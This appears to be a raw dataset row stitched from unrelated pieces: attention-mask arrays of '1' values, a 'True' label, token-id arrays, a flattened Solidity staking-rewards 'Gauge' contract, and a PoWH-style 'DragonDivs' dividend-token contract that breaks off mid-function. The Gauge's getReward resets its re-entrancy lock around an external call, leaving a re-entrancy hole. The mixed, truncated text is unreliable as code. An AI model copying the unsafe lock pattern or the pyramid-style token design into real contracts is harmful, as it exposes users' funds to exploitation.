1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Gauge.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
interface ve {
function token() external view returns (address);
function balanceOfNFT(uint) external view returns (uint);
function isApprovedOrOwner(address, uint) external view returns (bool);
function isUnlocked() external view returns (bool);
function locked__end(uint) external view returns (uint);
function create_lock_for(uint, uint, address) external returns (uint);
function deposit_for(uint, uint) external;
function ownerOf(uint) external view returns (address);
function transferFrom(address, address, uint) external;
}
interface IBribe {
function notifyRewardAmount(address token, uint amount) external;
function left(address token) external view returns (uint);
}
interface Voter {
function attachTokenToGauge(uint _tokenId, address account) external;
function detachTokenFromGauge(uint _tokenId, address account) external;
function emitDeposit(uint _tokenId, address account, uint amount) external;
function emitWithdraw(uint _tokenId, address account, uint amount) external;
function distribute(address _gauge) external;
}
// Gauges are used to incentivize pools, they emit reward tokens over 7 days for staked LP tokens
contract Gauge {
address public immutable stake; // the asset token that needs to be staked for rewards
address public immutable _ve; // the ve token used for gauges
address public immutable bribe;
address public immutable voter;
bool internal depositsOpen;
uint public derivedSupply;
mapping(address => uint) public derivedBalances;
uint internal constant DURATION = 7 days; // rewards are released over 7 days
uint internal constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(address => uint)) public lastEarn;
mapping(address => mapping(address => uint)) public userRewardPerTokenStored;
mapping(address => uint) public tokenIds;
uint public totalSupply;
mapping(address => uint) public balanceOf;
address[] public rewards;
mapping(address => bool) public isReward;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (address => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _stake, address _bribe, address __ve, address _voter) {
stake = _stake;
bribe = _bribe;
_ve = __ve;
voter = _voter;
depositsOpen = true;
_safeApprove(ve(__ve).token(), __ve, type(uint).max);
}
modifier whenDepositsOpen() {
require(depositsOpen, "This gauge is not open for deposits");
_;
}
function stopDeposits() external {
require(msg.sender == voter, "must be from voter");
depositsOpen = false;
}
function openDeposits() external {
require(msg.sender == voter, "must be from voter");
depositsOpen = true;
}
function isDepositsOpen() external view returns (bool) {
return depositsOpen;
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(address account, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[account][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(address account, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[account];
if (_nCheckPoints > 0 && checkpoints[account][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[account][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[account][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[account] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = derivedSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, derivedSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
function getReward(address account, address[] memory tokens) external lock {
require(msg.sender == account || msg.sender == voter);
_unlocked = 1;
Voter(voter).distribute(address(this));
_unlocked = 2;
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], account);
lastEarn[tokens[i]][account] = block.timestamp;
userRewardPerTokenStored[tokens[i]][account] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) {
if (ve(_ve).isUnlocked()) {
_safeTransfer(tokens[i], account, _reward); //setup gauges to send you veAPHRA while token is unlocked
} else {
uint tokenId = tokenIds[msg.sender];
if (tokenId == 0 || block.timestamp > ve(_ve).locked__end(tokenId)) {
//set initial lock for 8 weeks
tokenIds[msg.sender] = ve(_ve).create_lock_for(_reward, DURATION * 8, msg.sender);
} else {
ve(_ve).deposit_for(tokenId, _reward);
}
}
}
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
uint _derivedBalance = derivedBalances[account];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(account);
derivedBalances[account] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(account, derivedBalances[account]);
_writeSupplyCheckpoint();
}
function rewardPerToken(address token) public view returns (uint) {
if (derivedSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / derivedSupply);
}
function derivedBalance(address account) public view returns (uint) {
uint _tokenId = tokenIds[account];
uint _balance = balanceOf[account];
uint _derived = _balance * 40 / 100;
uint _adjusted = 0;
uint _supply = erc20(_ve).totalSupply();
//only activate boosts on ve unlock
if (account == ve(_ve).ownerOf(_tokenId) && _supply > 0 && ve(_ve).isUnlocked()) {
_adjusted = ve(_ve).balanceOfNFT(_tokenId);
_adjusted = (totalSupply * _adjusted / _supply) * 60 / 100;
}
return Math.min((_derived + _adjusted), _balance);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
// earned is an estimation, it won't be exact till the supply > rewardPerToken calculations have run
function earned(address token, address account) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][account], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[account] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(account, _startTimestamp);
uint _endIndex = numCheckpoints[account]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[account][i];
Checkpoint memory cp1 = checkpoints[account][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[account][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][account])) / PRECISION;
return reward;
}
function depositAll(uint tokenId) external {
deposit(erc20(stake).balanceOf(msg.sender), tokenId);
}
function deposit(uint amount, uint tokenId) public whenDepositsOpen lock {
require(amount > 0);
_safeTransferFrom(stake, msg.sender, address(this), amount);
totalSupply += amount;
balanceOf[msg.sender] += amount;
if (tokenId > 0) {
require(ve(_ve).ownerOf(tokenId) == msg.sender);
if (tokenIds[msg.sender] == 0) {
tokenIds[msg.sender] = tokenId;
Voter(voter).attachTokenToGauge(tokenId, msg.sender);
}
require(tokenIds[msg.sender] == tokenId);
} else {
tokenId = tokenIds[msg.sender];
}
uint _derivedBalance = derivedBalances[msg.sender];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(msg.sender);
derivedBalances[msg.sender] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(msg.sender, _derivedBalance);
_writeSupplyCheckpoint();
Voter(voter).emitDeposit(tokenId, msg.sender, amount);
emit Deposit(msg.sender, tokenId, amount);
}
function withdrawAll() external {
withdraw(balanceOf[msg.sender]);
}
function withdraw(uint amount) public {
uint tokenId = 0;
if (amount == balanceOf[msg.sender]) {
tokenId = tokenIds[msg.sender];
}
withdrawToken(amount, tokenId);
}
function withdrawToken(uint amount, uint tokenId) public lock {
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
_safeTransfer(stake, msg.sender, amount);
if (tokenId > 0) {
require(tokenId == tokenIds[msg.sender]);
tokenIds[msg.sender] = 0;
Voter(voter).detachTokenFromGauge(tokenId, msg.sender);
} else {
tokenId = tokenIds[msg.sender];
}
uint _derivedBalance = derivedBalances[msg.sender];
derivedSupply -= _derivedBalance;
_derivedBalance = derivedBalance(msg.sender);
derivedBalances[msg.sender] = _derivedBalance;
derivedSupply += _derivedBalance;
_writeCheckpoint(msg.sender, derivedBalances[msg.sender]);
_writeSupplyCheckpoint();
Voter(voter).emitWithdraw(tokenId, msg.sender, amount);
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
function notifyRewardAmount(address token, uint amount) external lock {
require(token != stake);
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeApprove(address token, address spender, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract GaugeFactory {
address public last_gauge;
function createGauge(address _asset, address _bribe, address _ve) external returns (address) {
last_gauge = address(new Gauge(_asset, _bribe, _ve, msg.sender));
return last_gauge;
}
function createGaugeSingle(address _asset, address _bribe, address _ve, address _voter) external returns (address) {
last_gauge = address(new Gauge(_asset, _bribe, _ve, _voter));
return last_gauge;
}
} | True | [
101,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1022,
1012,
1018,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
5034,
27421,
19231,
2094,
1013,
7633,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2340,
1025,
3075,
8785,
1063,
3853,
4098,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1037,
1028,
1027,
1038,
1029,
1037,
1024,
1038,
1025,
1065,
3853,
8117,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1037,
1026,
1038,
1029,
1037,
1024,
1038,
1025,
1065,
1065,
8278,
9413,
2278,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
8278,
2310,
1063,
3853,
19204,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
5703,
11253,
2078,
6199,
1006,
21318,
3372,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
18061,
9397,
26251,
14604,
7962,
2121,
1006,
4769,
1010,
21318,
3372,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
2003,
4609,
7878,
2098,
1006,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
5299,
1035,
1035,
2203,
1006,
21318,
3372,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
3443,
1035,
5843,
1035,
2005,
1006,
21318,
3372,
1010,
21318,
3372,
1010,
4769,
1007,
6327,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
12816,
1035,
2005,
1006,
21318,
3372,
1010,
21318,
3372,
1007,
6327,
1025,
3853,
3954,
11253,
1006,
21318,
3372,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1010,
4769,
1010,
21318,
3372,
1007,
6327,
1025,
1065,
8278,
21307,
3089,
4783,
1063,
3853,
2025,
8757,
15603,
4232,
22591,
16671,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
1007,
6327,
1025,
3853,
2187,
1006,
4769,
19204,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1065,
8278,
14303,
1063,
3853,
22476,
18715,
4765,
18170,
22890,
1006,
21318,
3372,
1035,
19204,
3593,
1010,
4769,
4070,
1007,
6327,
1025,
3853,
20010,
6776,
18715,
2368,
19699,
5358,
20420,
3351,
1006,
21318,
3372,
1035,
19204,
3593,
1010,
4769,
4070,
1007,
6327,
1025,
3853,
12495,
2102,
3207,
6873,
28032,
1006,
21318,
3372,
1035,
19204,
3593,
1010,
4769,
4070,
1010,
21318,
3372,
3815,
1007,
6327,
1025,
3853,
12495,
2102,
24415,
7265,
2860,
1006,
21318,
3372,
1035,
19204,
3593,
1010,
4769,
4070,
1010,
21318,
3372,
3815,
1007,
6327,
1025,
3853,
16062,
1006,
4769,
1035,
7633,
1007,
6327,
1025,
1065,
1013,
1013,
7633,
2015,
2024,
2109,
2000,
4297,
4765,
12848,
4697,
12679,
1010,
2027,
12495,
2102,
10377,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.20;
contract DragonDivs {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrator can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
require(msg.sender == owner);
_;
}
modifier limitBuy() {
if(limit && msg.value > 2 ether && msg.sender != owner) { // check if the transaction is over 2ether and limit is active
if ((msg.value) < address(this).balance && (address(this).balance-(msg.value)) >= 50 ether) { // if contract reaches 50 ether disable limit
limit = false;
}
else {
revert(); // revert the transaction
}
}
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event OnRedistribution (
uint256 amount,
uint256 timestamp
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "DragonDivs";
string public symbol = "DRAGON";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 25; // 25%
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 10 tokens)
uint256 public stakingRequirement = 0;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => address) internal referralOf_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) internal alreadyBought;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) internal whitelisted_;
bool internal whitelist_ = true;
bool internal limit = true;
address public owner;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
owner = msg.sender;
whitelisted_[msg.sender] = true;
whitelist_ = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
